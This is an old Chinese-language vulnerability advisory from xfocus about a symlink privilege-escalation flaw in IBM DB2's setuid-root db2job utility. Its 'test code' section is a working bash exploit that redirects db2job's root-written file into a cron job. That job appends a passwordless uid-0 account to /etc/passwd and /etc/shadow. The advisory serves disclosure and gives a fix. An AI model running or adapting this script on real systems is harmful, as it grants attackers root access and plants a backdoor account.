xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

IBM DB2 db2job文件非授权覆盖漏洞


发布时间:2003-08-05
更新时间:2003-08-05
严重程度:
威胁程度:权限提升
错误类型:访问验证错误
利用方式:服务器模式

BUGTRAQ ID:8344

受影响系统
IBM DB2 Universal Database for AIX 6.0    
IBM DB2 Universal Database for AIX 6.1    
IBM DB2 Universal Database for AIX 7.0    
IBM DB2 Universal Database for AIX 7.1    
IBM DB2 Universal Database for AIX 7.2    
IBM DB2 Universal Database for HP-UX 6.0  
IBM DB2 Universal Database for HP-UX 6.1  
IBM DB2 Universal Database for HP-UX 7.0  
IBM DB2 Universal Database for HP-UX 7.1  
IBM DB2 Universal Database for HP-UX 7.2  
IBM DB2 Universal Database for Linux 6.0  
IBM DB2 Universal Database for Linux 6.1  
   -Caldera OpenLinux 2.4                
   -RedHat Linux 7.0                      
   -S.u.S.E. Linux 7.0                    
   -TurboLinux Turbo Linux 6.0.4          
IBM DB2 Universal Database for Linux 7.0  
IBM DB2 Universal Database for Linux 7.1  
IBM DB2 Universal Database for Linux 7.2  
IBM DB2 Universal Database for Solaris 6.0
IBM DB2 Universal Database for Solaris 6.1
IBM DB2 Universal Database for Solaris 7.0
IBM DB2 Universal Database for Solaris 7.1
IBM DB2 Universal Database for Solaris 7.2
详细描述
IBM的DB2数据库带了一个db2job的工具,此程序以4550的属性安装,用户及属组是root.db2job。db2job在运行时会以root用户权限写一些文件,这些文件创建属性是0770,用户和属组是root.db2asgrp,如果本地攻击创建文件链接指向系统安全敏感文件如 /etc/passwd、/etc/shadow,这些文件将被重写。虽然db2job程序不是全局可执行的,只有db2asgrp组的两个成员db2as和db2inst1可执行,但如果攻击者能获取这两个用户的访问权限,他们则有可能提升自己在系统中的权限。

测试代码
#!/bin/bash

DB2JOB=/home/db2as/sqllib/adm/db2job
CRONFILE=/etc/cron.hourly/pakito
USER=pakito

unset DB2INSTANCE
export DB2DIR=./trash

if [ -d $DB2DIR ]; then
echo Trash directory already created
else
mkdir $DB2DIR
fi

cd $DB2DIR
if [ -f ./0_1.out ]; then
echo Link Already Created
else
ln -s $CRONFILE ./0_1.out
fi

$DB2JOB


echo "echo "#!/bin/bash"" > $CRONFILE
echo "echo "$USER:x:0:0::/:/bin/bash" >> /etc/passwd" >> $CRONFILE
echo "echo "$USER::12032:0:99999:7:::" >> /etc/shadow" >> $CRONFILE
echo " must wait until cron execute $CRONFILE and then exec su pakito"

解决方案
可以考虑去掉db2job程序的suid root位。

相关信息
Local Vulnerability in IBM DB2 7.1 db2job binary
http://archives.neohapsis.com/archives/bugtraq/2003-08/0047.html